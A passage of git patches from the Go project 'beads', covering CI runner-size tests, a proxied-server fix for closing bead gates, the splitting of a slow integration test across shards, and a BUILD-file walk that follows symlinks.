each rbe mode: mode +// remote gets the lane's Blacksmith size, every other mode the GitHub-hosted +// runner, and package-mcp runs 16 xdist workers exactly when it is on its +// 8 vCPU runner (8 everywhere else, package-mcp.sh's default). +func TestBlacksmithBazelRunnerSizes(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + wantRemote := map[string]string{ + bazelJobName: "blacksmith-4vcpu-ubuntu-2404", + bazelPackageMCPJobName: "blacksmith-8vcpu-ubuntu-2404", + bazelPackageNPMJobName: "blacksmith-4vcpu-ubuntu-2404", + } + mcpGate := workflow.job(t, bazelPackageMCPJobName).step(t, "Run MCP package gate") + if got := mcpGate.Env["BEADS_MCP_PYTEST_WORKERS"]; got != bazelMCPPytestWorkers { + t.Errorf("package-mcp Run MCP package gate BEADS_MCP_PYTEST_WORKERS = %q, want %q", got, bazelMCPPytestWorkers) + } + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "local", "cache", "skip"} { + ctx := map[string]string{"needs.rbe.outputs.mode": mode} + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + want := "ubuntu-latest" + if mode == "remote" { + want = "blacksmith-2vcpu-ubuntu-2404" + if label, ok := wantRemote[name]; ok { + want = label + } + } + if got := mustEvalGHRunsOn(t, job.RunsOn, ctx); got != want { + t.Errorf("%s runs-on under mode %s = %q, want %q", name, mode, got, want) + } + } + wantWorkers := "8" + if mustEvalGHRunsOn(t, workflow.job(t, bazelPackageMCPJobName).RunsOn, ctx) == "blacksmith-8vcpu-ubuntu-2404" { + wantWorkers = "16" + } + if got := mustEvalGHRunsOn(t, mcpGate.Env["BEADS_MCP_PYTEST_WORKERS"], ctx); got != wantWorkers { + t.Errorf("package-mcp BEADS_MCP_PYTEST_WORKERS under mode %s = %q, want %q", mode, got, wantWorkers) + } + } +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index f5479a463..6905ece3c 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1940,11 +1940,11 @@ const bazelIntegIf = "${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outp // caller left package-gates at its default "off". const bazelPackageGatesIf = "${{ inputs.package-gates == 'on' }}" -// F3: the package gates' runner. 4 vCPU, not bazel.yml's usual 2: pytest-xdist -// -n 8 is pinned to measured timing on a 4 vCPU runner (tools/f3). Mode -// remote only: the gates take no rbe-fork certificate, so fork modes +// F3: the package gates' runners (bazelPackageRunsOn, in +// ci_blacksmith_runner_test.go with the other runner sizes) are larger than +// bazel.yml's usual 2 vCPU because they run pytest/npm on the runner itself. +// Mode remote only: the gates take no rbe-fork certificate, so fork modes // (enabled too) build bd with go build on a GitHub-hosted runner, as before. -const bazelPackageRunsOn = "${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // rbe-prewarm's bespoke if (TestBazelWorkflowJobsAndExecutionMode): mode // remote only (B1, security review of bdef342d5 - was remote or fork-rw). @@ -2110,7 +2110,7 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { // runner. Only mode remote gets the secrets; fork modes get // BAZEL_FORK_REMOTE (setup-bazel mints the certificate), cache runs // BAZEL_FORK_CACHE. - const wantRunsOn = "${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + wantRunsOn := bazelLaneRunsOn // Local-capable lanes skip only in mode skip (same-repo, RBE_WEST_WORKERS // unset); remote-only lanes (27 race processes and more, an hour or more // on a GitHub-hosted runner, for tests the Go jobs already run there) @@ -2148,12 +2148,15 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) { t.Errorf("%s needs = %v, want [%s]", name, job.Needs, bazelRBEJobName) } - // F3: the package gates use a 4 vCPU runner (pytest-xdist -n 8) and + // F3: the package gates use larger runners (bazelPackageRunsOn) and // their own if (the caller's package-gates input, not the rbe job's // mode - they never skip for execution-mode reasons). wantJobRunsOn, wantJobIf, wantJobSetupEnv := wantRunsOn, wantIf, wantSetupEnv + if name == bazelJobName { + wantJobRunsOn = bazelTestLaneRunsOn + } if bazelPackageJobs[name] { - wantJobRunsOn, wantJobIf, wantJobSetupEnv = bazelPackageRunsOn, bazelPackageGatesIf, wantPackageSetupEnv + wantJobRunsOn, wantJobIf, wantJobSetupEnv = bazelPackageRunsOn[name], bazelPackageGatesIf, wantPackageSetupEnv } else if bazelRemoteOnlyJobs[name] { wantJobIf = wantRemoteOnlyIf } else if name == bazelIntegJobName || name == bazelCmdDoltJobName { @@ -2181,21 +2184,26 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { } } -// F3: bazelPackageRunsOn's comment and the package-mcp job's 4 vCPU runner +// F3: bazelPackageRunsOn's comment and the package-mcp job's runner size // are both premised on mcp_pytest() in package-mcp.sh passing an explicit -// "-n 8" (not "-n auto", which would reintroduce the CPU-count/cgroup-quota -// mismatch -n 8 was pinned to avoid), and on pytest-xdist itself being a -// locked dev dependency so that worker count is reproducible across CI runs. -// Neither half of that premise is checked by any other policy test, so pin -// both here directly against the script and the MCP package's manifest/lock. +// worker count (not "-n auto", which would reintroduce the CPU-count/ +// cgroup-quota mismatch the explicit count was pinned to avoid): the +// default 8, or BEADS_MCP_PYTEST_WORKERS, which bazel.yml's package-mcp sets +// to 16 exactly when it runs on its 8 vCPU Blacksmith runner +// (TestBlacksmithBazelRunnerSizes). It is also premised on pytest-xdist +// itself being a locked dev dependency so that worker count is reproducible +// across CI runs. Pin both here directly against the script and the MCP +// package's manifest/lock. func TestMCPPytestWorkerCountPinned(t *testing.T) { root := sourceRepoRoot(t) script := readPolicyFile(t, root, "scripts/ci/package-mcp.sh") - if !strings.Contains(script, "pytest -n 8") { - t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() does not pass an explicit -n 8") + for _, want := range []string{`local workers="${BEADS_MCP_PYTEST_WORKERS:-8}"`, `uv run pytest -n "$workers"`} { + if !strings.Contains(script, want) { + t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() is missing %q (an explicit worker count, default 8)", want) + } } if strings.Contains(script, "-n auto") { - t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() uses -n auto; want the pinned -n 8") + t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() uses -n auto; want an explicit worker count") } pyproject := readPolicyFile(t, root, "integrations/beads-mcp/pyproject.toml") if !regexp.MustCompile(`(?m)^\s*"pytest-xdist[><=]`).MatchString(pyproject) { diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 3983462d0..b2058509f 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -255,9 +255,9 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { if !ok { t.Fatalf("%s has no %s job", bazelWorkflowName, lane.job) } - if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) || job.If != bazelPackageGatesIf || job.RunsOn != bazelPackageRunsOn { + if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) || job.If != bazelPackageGatesIf || job.RunsOn != bazelPackageRunsOn[lane.job] { t.Errorf("%s: needs %v, if %q, runs-on %q; want needs [%s], if %q, runs-on %q", - lane.job, job.Needs, job.If, job.RunsOn, bazelRBEJobName, bazelPackageGatesIf, bazelPackageRunsOn) + lane.job, job.Needs, job.If, job.RunsOn, bazelRBEJobName, bazelPackageGatesIf, bazelPackageRunsOn[lane.job]) } detectCond := "steps.detect.outputs." + lane.detectOutput + " == 'true'" From 8bb99b49d8cb3cbec23af8d00e06510452fe7938 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 06:01:18 +0000 Subject: [PATCH 051/213] fix(close): verify bead gates on the proxied-server route (#5861 item 1) (#6962) * fix(close): verify bead gates on the proxied-server route (wy-j48b3y) The close pre-check built its bead-gate lookup on the local store, which the proxied-server route never opens (the root pre-run short-circuits to uowProvider). So `bd close ` on a bead gate refused with "no local store available" there even after the awaited bead had closed, while `bd gate check` resolved the same gate through its fresh-read getter. Item 1 of #5861. The pre-check now picks the getter by route: proxied-server reads through the same proxiedFreshReadGetter gate check uses (local read, then prefix routes); direct and embedded keep the store-backed routed getter. Tests: a proxied integration test covers the open-target refusal (which now names the target's status), the closed-target close, and --force; against the old code it fails with the exact upstream refusal. A unit test pins the route selection. Docs and CHANGELOG drop the limitation. Co-Authored-By: Claude Fable 5.1 * ci(shards): list TestProxiedServerCloseBeadGate in the proxied 30-shard manifest #7129 turned the Bazel 30-shard block of .github/scripts/proxied-cmd-test-shards.txt into an exact-once coverage gate (TestProxiedShardManifestGeneratorNotStale in scripts/). This PR's merge-base predates that gate, so after the rebase onto current main the gate fails with "missing (1): TestProxiedServerCloseBeadGate", the proxied integration test this PR adds. Generated with the gate's own fix command, `python3 scripts/ci/gen_proxied_shard_manifest.py 30 --weights=duration --write`. The write is incremental: it puts the one name on the lightest shard (2) and moves no existing assignment. The frozen 15-shard block is untouched. Agent-Signature: claude-code-unknown-model-max on behalf of Eddie the Engineer Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .github/scripts/proxied-cmd-test-shards.txt | 1 + CHANGELOG.md | 9 +++ cmd/bd/close.go | 16 ++++- cmd/bd/close_gate_test.go | 18 ++++++ cmd/bd/close_proxied_integration_test.go | 68 +++++++++++++++++++++ docs/reference/troubleshooting.md | 21 ------- docs/workflows/gates.md | 7 +-- 7 files changed, 112 insertions(+), 28 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 92b21b1d4..ac576ae45 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -256,6 +256,7 @@ 30 1 TestProxiedServerSQLStatementRouting 30 1 TestProxiedServerServeLifecycle +30 2 TestProxiedServerCloseBeadGate 30 2 TestProxiedServerDelete 30 2 TestProxiedServerDeleteForceOrphans 30 2 TestProxiedServerIfRevisionGuardAssign diff --git a/CHANGELOG.md b/CHANGELOG.md index 51577f7ec..3e6aa83e5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -462,6 +462,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 installed/missing check still only tests for file existence and is tracked separately. +- **`bd close` verifies a bead gate in proxied-server mode.** The close + pre-check built its bead-gate lookup on the local store, which the + proxied-server route never opens, so closing a bead gate there refused with + `no local store available` even after the awaited bead had closed, while + `bd gate check` resolved the same gate. The close pre-check now reads the + awaited bead through the same fresh-read path `bd gate check` uses on that + route; the direct and embedded routes are unchanged + ([#5861](https://github.com/gastownhall/beads/issues/5861) item 1). + - **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The canonical spelling of a Go module version — and the string a build stamped from a Go pseudo-version reports and writes into `.local_version` itself — diff --git a/cmd/bd/close.go b/cmd/bd/close.go index e49aed1c7..9e4f14ab0 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -695,7 +695,7 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason, err = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) + resolved, reason, err = checkBeadGate(rootCtx, closeBeadGateGetter(), issue.AwaitID) if err != nil { // Unlike the gh:* and timer arms above, a bead gate whose store // cannot be read stays closed: the close would need that same @@ -725,6 +725,20 @@ func checkGateSatisfaction(issue *types.Issue) error { return fmt.Errorf("gate condition not satisfied: %s (use --force to override)", reason) } +// closeBeadGateGetter picks the bead-gate lookup the current route can serve. +// The proxied-server route never opens the local store (the root pre-run +// short-circuits to uowProvider), so a store-backed getter there refused every +// bead gate with "no local store available" even when the awaited bead was +// closed (#5861); that route now reads through the same fresh-read getter +// `bd gate check` uses. The direct and embedded routes keep the store-backed +// local -> prefix-route lookup. +func closeBeadGateGetter() issueGetter { + if usesProxiedServer() { + return proxiedFreshReadGetter{} + } + return routedBeadGateGetter{localStore: store} +} + // autoCloseCompletedMolecule checks if closing a step completed an auto-closing // parent molecule, and if so, closes the molecule root. Ordinary epics remain // open when all children finish so they can become explicitly close-eligible diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index 458640b19..0cfc91900 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -241,3 +241,21 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { } } } + +// The close pre-check reads a bead gate's target through the route that can +// serve it: the proxied route has no local store, so it must not build a +// store-backed getter there (#5861). +func TestCloseBeadGateGetter_RouteSelection(t *testing.T) { + oldMode := proxiedServerMode + t.Cleanup(func() { proxiedServerMode = oldMode }) + + proxiedServerMode = true + if _, ok := closeBeadGateGetter().(proxiedFreshReadGetter); !ok { + t.Errorf("proxied-server mode: got %T, want proxiedFreshReadGetter", closeBeadGateGetter()) + } + + proxiedServerMode = false + if _, ok := closeBeadGateGetter().(routedBeadGateGetter); !ok { + t.Errorf("direct mode: got %T, want routedBeadGateGetter", closeBeadGateGetter()) + } +} diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 3dc53d349..8017e593a 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -987,3 +987,71 @@ func TestProxiedServerCloseConcurrent(t *testing.T) { t.Errorf("open issues remain after concurrent close: %d", openCount) } } + +// bd close on a bead gate evaluates the awaited bead through the proxied read +// path. Before #5861 item 1 was fixed this route refused every bead gate with +// "no local store available", closed target or not, while bd gate check +// resolved the same gate. +func TestProxiedServerCloseBeadGate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + createBeadGate := func(t *testing.T, p proxiedProject) (gateID string, awaited *types.Issue) { + t.Helper() + parked := bdProxiedCreate(t, bd, p.dir, "Parked bead") + awaited = bdProxiedCreate(t, bd, p.dir, "Awaited bead") + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=bead", "--blocks", parked.ID, "--await-id", awaited.ID, "--reason", "waiting on "+awaited.ID) + if err != nil { + t.Fatalf("bead gate create failed: %v\nstderr:\n%s", err, stderr) + } + return parseCreatedGateID(t, out), awaited + } + + t.Run("awaited_open_refuses_with_its_status", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cbgo") + gateID, awaited := createBeadGate(t, p) + + out := bdProxiedCloseFail(t, bd, p.dir, gateID) + if strings.Contains(out, "no local store available") { + t.Errorf("close read the gate through a store-less getter:\n%s", out) + } + if !strings.Contains(out, "gate condition not satisfied") || !strings.Contains(out, "bead "+awaited.ID+" is open") { + t.Errorf("expected the awaited bead's status in the refusal, got:\n%s", out) + } + db := openProxiedDB(t, p) + if got := readStatus(t, db, gateID); got != types.StatusOpen { + t.Errorf("refused gate should stay open, got %q", got) + } + }) + + t.Run("awaited_closed_closes", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cbgc") + gateID, awaited := createBeadGate(t, p) + + bdProxiedClose(t, bd, p.dir, awaited.ID) + bdProxiedClose(t, bd, p.dir, gateID, "-r", "awaited bead closed") + db := openProxiedDB(t, p) + if got := readStatus(t, db, gateID); got != types.StatusClosed { + t.Errorf("gate should close once its awaited bead is closed, got %q", got) + } + if got := readCloseReason(t, db, gateID); got != "awaited bead closed" { + t.Errorf("close_reason: got %q, want %q", got, "awaited bead closed") + } + }) + + t.Run("force_skips_the_check", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cbgf") + gateID, _ := createBeadGate(t, p) + + bdProxiedClose(t, bd, p.dir, gateID, "--force") + db := openProxiedDB(t, p) + if got := readStatus(t, db, gateID); got != types.StatusClosed { + t.Errorf("--force should close the gate regardless, got %q", got) + } + }) +} diff --git a/docs/reference/troubleshooting.md b/docs/reference/troubleshooting.md index ae2d37120..78e26267c 100644 --- a/docs/reference/troubleshooting.md +++ b/docs/reference/troubleshooting.md @@ -423,27 +423,6 @@ don't know", not "this is definitely broken". A genuinely missing or broken `dolt` binary (not found, not executable, or the probe itself fails/times out) is a hard error, not a warning. -### Proxied-server mode: closing a bead gate fails with "no local store available" - -``` -gate condition not satisfied: bead gate "bd-a1b2": no local store available (use --force to override) -``` - -`bd close` on a bead gate refuses this way in proxied-server mode even when -the awaited bead is closed. Proxied-server commands run against a shared -`dolt sql-server` and never open a local store, so the close path has -nothing to read the awaited bead's status from. - -`bd gate check` does evaluate bead gates in proxied-server mode, and closes -the ones whose target has closed: - -```bash -bd gate check --type=bead # closes bead gates whose awaited bead is closed -bd close --force # or close without verifying the condition -``` - -Tracked in [#5861](https://github.com/gastownhall/beads/issues/5861). - ### Prefix routing: "proxy server store needs to be uow provider" A lookup routed through the orchestrator's `routes.jsonl` prefix routes diff --git a/docs/workflows/gates.md b/docs/workflows/gates.md index 36c032a04..97dd71dff 100644 --- a/docs/workflows/gates.md +++ b/docs/workflows/gates.md @@ -54,18 +54,13 @@ repository. ### Known limitations: multi-rig and proxied-server topologies Bead gates and prefix routing (`routes.jsonl`) do not work in every -topology. Three limitations to expect, all tracked in +topology. Two limitations to expect, both tracked in [#5861](https://github.com/gastownhall/beads/issues/5861): - **Cross-rig bead gates never resolve on their own.** A `:` await value reports `cannot be checked (multi-rig routing removed)` and stays pending regardless of the awaited bead's status. Close it with `bd gate resolve`. -- **`bd close` cannot verify a bead gate in the experimental proxied-server - mode.** Proxied-server commands never open a local store, so closing the - gate refuses with `no local store available` even when the awaited bead is - closed. Run `bd gate check`, which evaluates bead gates in proxied-server - mode and closes the satisfied ones, or `bd close --force`. - **Prefix routing cannot open a proxied-server target rig.** A routed lookup into a rig that is itself in proxied-server mode fails with `proxy server store needs to be uow provider`, so an all-proxied From 9b251db072a15619529f9f31f1be722b458ac579 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 06:53:13 +0000 Subject: [PATCH 052/213] test(proxied): split TestProxiedServerClose into three parents with legacy rollback pins (#7173) * test(proxied): split TestProxiedServerClose into Close + Close3 so legacy shard 5 clears the 15m timeout (#7151) Shard 5 of the legacy 15-shard proxied-server block walled at 927-941s (go test's 15m timeout) on every measured fork-PR and main run while the other 14 shards took 337-765s. #7172 pinned the two hash-placed tests that pushed it over; the parent that dominates the shard remains: TestProxiedServerClose carries 23 parallel bd-init subtests at 100-130s apiece under 4-way contention, ~2060 of the shard's ~2712 slot-seconds. Split it the way TestProxiedServerClose2 was split before: subtests from close_blocked_refuses_without_force onward (12 of 23) become TestProxiedServerClose3 with the same header; no subtest body changes. Manifest: an explicit `15 6 TestProxiedServerClose3` line in the frozen block (shard 6 is the lightest shard by CI job time that took no #7172 pin; without the line cksum fallback could hash it back onto 5), and `30 17 TestProxiedServerClose3` beside Close in the Bazel 30-shard block, which keeps every 30-shard load where it was (heaviest still 372.2s est.). proxied_test_durations.json apportions the single 174.6s Close capture by bd-init count (83.5 / 91.1) and says so in its header; the next sweep replaces both. Verified: gen_proxied_shard_manifest.py 30 --weights=duration --check (exit 0); go test ./scripts/ -run 'Shard|Manifest|Coverage'; go vet ./cmd/bd/; BEADS_TEST_PROXIED_SERVER=1 BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 go test ./cmd/bd/ -run '^TestProxiedServerClose3?$' -v: both PASS (32.24s / 30.53s, 23 subtests). Co-Authored-By: Claude Fable 5.1 * ci(proxied): pin TestProxiedServerClose3 onto legacy shard 1, not 6 (#7151) Shard 6 timed out at 15m on this PR's own run (job 111387202139) with Close3 added: Close3 passed in 5s but TestProxiedServerClose2's subtests, sharing the 4 parallel slots and the one proxied server with Close3's 12 bd-init subtests, were still running at 1m18s-2m31s each when the alarm fired. On main at b1a0690249 shard 6 runs 9m and shard 1 6m, the lightest of the 15 (15: 8m), so shard 1 has the headroom for the ~6 min of 4-slot wall the 12 subtests cost. Co-Authored-By: Claude Fable 5.1 * test(proxied): split TestProxiedServerClose3 again into Close3 + Close4 (#7151) Shard 1 timed out at 15m on this PR's own run (job 111392255572) with Close3 pinned there: Close3's 12 bd-init subtests finished at 3m33s, but they held the 4 parallel slots long enough that TestProxiedServerDep2's subtests only began at 5m35s and were still running when the alarm fired. Shard 6 did the same before it. Meanwhile shard 5, the shard this PR exists to relieve, ran 5m with the first 11 subtests. So 12 inits in one parent is too much for any host shard. Close3 keeps its first six subtests on shard 1; the last six become TestProxiedServerClose4, pinned to shard 7 (7m on that run). The durations file apportions the one 174.6s capture 11/6/6. Co-Authored-By: Claude Fable 5.1 * ci(proxied): move the Close3 and Close4 pins off legacy shards 1 and 7 onto 13 and 2 (#7151) The run at 765248af5 put every Proxied Dolt Cmd shard green, with shard 5 down from the 15m alarm to 5m50s. But shard 1, chosen for Close3 as "the lightest of the 15 on main", ran 14m48s there, the heaviest of the fifteen: TestProxiedServerDep2's 29 parallel bd-init subtests alone take about 10.5 minutes of 4-slot wall on this lane, and Close3's six init subtests landed on top of them. Shard 7, where Close4 went, ran 13m50s behind TestProxiedServerReady and TestProxiedServerState. Pin Close3 onto shard 13 (6m51s on that run) and Close4 onto shard 2 (7m57s). Not shard 5: it is light only because Close left it, and putting Close3 back would recreate most of the set that timed out. The 30-shard Bazel block is unchanged. Verified: BEADS_TEST_SHARD_LIST_ONLY=1 .github/scripts/proxied-test-shard.sh 13 15 lists Close3 and 2 15 lists Close4, neither on 1 or 7; gen_proxied_shard_manifest.py 30 --weights=duration --check exit 0; go test ./scripts/ -run 'Shard|Manifest|Coverage' ok. Co-Authored-By: Claude Fable 5.1 --------- Co-authored-by: Claude Fable 5.1 --- .github/scripts/proxied-cmd-test-shards.txt | 4 ++++ cmd/bd/close_proxied_integration_test.go | 23 +++++++++++++++++++++ scripts/ci/proxied_test_durations.json | 13 ++++++++++-- 3 files changed, 38 insertions(+), 2 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index ac576ae45..b6f95b315 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -51,6 +51,7 @@ # a doc comment. 15 1 TestProxiedServerBlocked +15 13 TestProxiedServerClose3 15 1 TestProxiedServerCompactDolt 15 1 TestProxiedServerCreate 15 1 TestProxiedServerDep2 @@ -118,6 +119,7 @@ 15 7 TestProxiedServerAssign 15 7 TestProxiedServerBackupRefusedOnExternalTopology +15 2 TestProxiedServerClose4 15 7 TestProxiedServerCount 15 7 TestProxiedServerGC 15 7 TestProxiedServerList @@ -361,6 +363,8 @@ 30 16 TestProxiedServerUpdateConcurrentMetadata 30 17 TestProxiedServerClose +30 17 TestProxiedServerClose3 +30 17 TestProxiedServerClose4 30 17 TestProxiedServerConfigConcurrent 30 17 TestProxiedServerDeleteConcurrent 30 17 TestProxiedServerIfRevisionGuardUpdate diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 8017e593a..bbbcfba79 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -349,6 +349,18 @@ func TestProxiedServerClose(t *testing.T) { } }) +} + +// TestProxiedServerClose3 is the second half of TestProxiedServerClose, +// split off (as TestProxiedServerClose2 was before it) so that no single +// top-level suite carries 23 bd-init subtests: that one parent alone cost +// ~2060 slot-seconds under -test.parallel=4 and pushed its 15-shard legacy +// shard past go test's 15m timeout on every run (gastownhall/beads#7151). +func TestProxiedServerClose3(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + t.Run("close_blocked_refuses_without_force", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "cbr") @@ -483,6 +495,17 @@ func TestProxiedServerClose(t *testing.T) { t.Errorf("status: got %q, want closed", got) } }) +} + +// TestProxiedServerClose4 is the second half of TestProxiedServerClose3. With +// all 12 of its bd-init subtests in one parent, whichever 15-shard legacy +// shard hosted Close3 timed out in turn (6, then 1) while shard 5 dropped to +// 5m, so the remaining weight is carried as two parents of six on two shards +// (gastownhall/beads#7151). +func TestProxiedServerClose4(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // ga-ktn9pe.4.8: this used to have an embedded twin // (TestEmbeddedClose/close_boolean_pinned_reclose_is_idempotent), but diff --git a/scripts/ci/proxied_test_durations.json b/scripts/ci/proxied_test_durations.json index 333a2e2b5..8e1e5f3f1 100644 --- a/scripts/ci/proxied_test_durations.json +++ b/scripts/ci/proxied_test_durations.json @@ -56,7 +56,14 @@ "single sweep's value: local --config=doltserver-proxied runs measured it at", "55-79 s alone, 60-70 s inside its shard, and a reviewer's 68-109 s under load;", "80 s is a rounded middle of that spread. seconds_per_init_fallback was", - "recomputed to include it." + "recomputed to include it.", + "", + "TestProxiedServerClose / Close3 / Close4 (gastownhall/beads#7151): the 174.6s", + "capture above was taken for the undivided TestProxiedServerClose (23 bd-init", + "subtests). The suite was then split after close_nonexistent_id and again after", + "close_pinned_with_force, so the three entries hold that one capture", + "apportioned by bd-init count (11, 6 and 6 of 23), not fresh measurements; the", + "next sweep replaces all three." ], "seconds_per_init_fallback": 17.2952, "tests": { @@ -70,8 +77,10 @@ "TestProxiedServerChildren": 11.28, "TestProxiedServerCleanDatabases": 7.14, "TestProxiedServerCleanDatabasesPurgeDropped": 7.76, - "TestProxiedServerClose": 174.6, + "TestProxiedServerClose": 83.5, "TestProxiedServerClose2": 218.83, + "TestProxiedServerClose3": 45.55, + "TestProxiedServerClose4": 45.55, "TestProxiedServerCloseConcurrent": 38.25, "TestProxiedServerCloseSiblingBlockersFanIn": 99.71, "TestProxiedServerComment": 64.04, From 569ad6001c821e6192001610e0dc31e106c8b6ef Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 07:47:37 +0000 Subject: [PATCH 053/213] test(scripts): the retired-lanes BUILD walk follows file symlinks, as a local runfiles tree needs (#7361) TestBazelRetiredLanesCannotBeNarrowed skipped every ModeSymlink entry in its two BUILD/.bzl walks. Under `bazel test` on a local executor (the processwrapper-sandbox an unauthorized fork's PR gets for //scripts:scripts_test, RBE_INSTANCE being empty) the runfiles tree is a symlink forest, so the walk read no BUILD file and the pin failed with `got map[]` on every such run (#7350). Both walks now go through walkBazelFiles, which decides "file" with the package's isFileOrFileLink: a regular file or a symlink to one; a symlinked directory is never followed, a dangling link is skipped. TestBazelFileWalkFollowsFileSymlinks mirrors the checkout's Bazel files as a symlink forest (plus a directory link and a dangling link) and requires the same file set as the checkout. Fixes #7350. Co-authored-by: Claude Fable 5.1 --- scripts/pr_risk_bazel_coverage_test.go | 112 ++++++++++++++++++------- 1 file changed, 84 insertions(+), 28 deletions(-) diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 838a3b6d9..d2a5da2d9 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -746,6 +746,88 @@ func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { } } +// walkBazelFiles visits every BUILD.bazel and BUILD file under root (and, +// with bzl, every .bzl file), skipping .git, node_modules and .beads. A +// symlink to a regular file is visited: under `bazel test` on a local +// executor the runfiles tree is a symlink forest, and a walk that skipped +// symlinks read no BUILD file there and reported every lane's targets gone +// (#7350). A symlink to a directory is never followed. +func walkBazelFiles(root string, bzl bool, visit func(path string, d os.DirEntry) error) error { + return filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + switch d.Name() { + case ".git", "node_modules", ".beads": + return filepath.SkipDir + } + return nil + } + name := d.Name() + if name != "BUILD.bazel" && name != "BUILD" && !(bzl && strings.HasSuffix(name, ".bzl")) { + return nil + } + if !isFileOrFileLink(path, d) { + return nil + } + return visit(path, d) + }) +} + +// A local Bazel executor hands the test a runfiles tree in which every file +// is a symlink into the sandbox's inputs (#7350: scripts_test ran there on an +// unauthorized fork's PR, read no BUILD file and failed every lane's pin with +// `got map[]`). The walk must see the same Bazel files through such a forest +// as in the checkout, and must not follow a symlinked directory or trip on a +// dangling link. +func TestBazelFileWalkFollowsFileSymlinks(t *testing.T) { + root := sourceRepoRoot(t) + collect := func(root string) []string { + var rels []string + err := walkBazelFiles(root, true, func(path string, _ os.DirEntry) error { + rel, err := filepath.Rel(root, path) + if err != nil { + return err + } + rels = append(rels, filepath.ToSlash(rel)) + return nil + }) + if err != nil { + t.Fatalf("walk %s: %v", root, err) + } + sort.Strings(rels) + return rels + } + checkout := collect(root) + if len(checkout) < 10 { + t.Fatalf("found only %d Bazel files under %s; the checkout walk is broken", len(checkout), root) + } + + forest := filepath.Join(t.TempDir(), "_main") + for _, rel := range checkout { + dst := filepath.Join(forest, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink(filepath.Join(root, filepath.FromSlash(rel)), dst); err != nil { + t.Fatal(err) + } + } + // Hazards a runfiles tree or a checkout can hold: Bazel's bazel-* links to + // directories, and a link whose target is gone. + if err := os.Symlink(filepath.Join(root, "scripts"), filepath.Join(forest, "bazel-bin")); err != nil { + t.Fatal(err) + } + if err := os.Symlink(filepath.Join(forest, "missing", "BUILD.bazel"), filepath.Join(forest, "BUILD")); err != nil { + t.Fatal(err) + } + + if got := collect(forest); 